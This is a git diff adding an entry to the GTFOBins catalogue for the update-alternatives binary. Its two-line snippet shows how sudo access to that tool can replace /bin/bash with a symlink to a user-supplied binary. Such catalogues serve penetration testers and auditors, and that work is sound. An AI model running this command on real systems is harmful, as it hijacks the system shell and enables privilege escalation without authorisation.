diff --git a/_gtfobins/update-alternatives.md b/_gtfobins/update-alternatives.md new file mode 100644 index 0000000..a1f4cd7 --- /dev/null +++ b/_gtfobins/update-alternatives.md @@ -0,0 +1,8 @@ +--- +functions: + sudo: + - description: Replace existing binary with symlink pointing to user supplied binary + code: | + cp file_to_replace_bash /tmp/bash + sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1 +---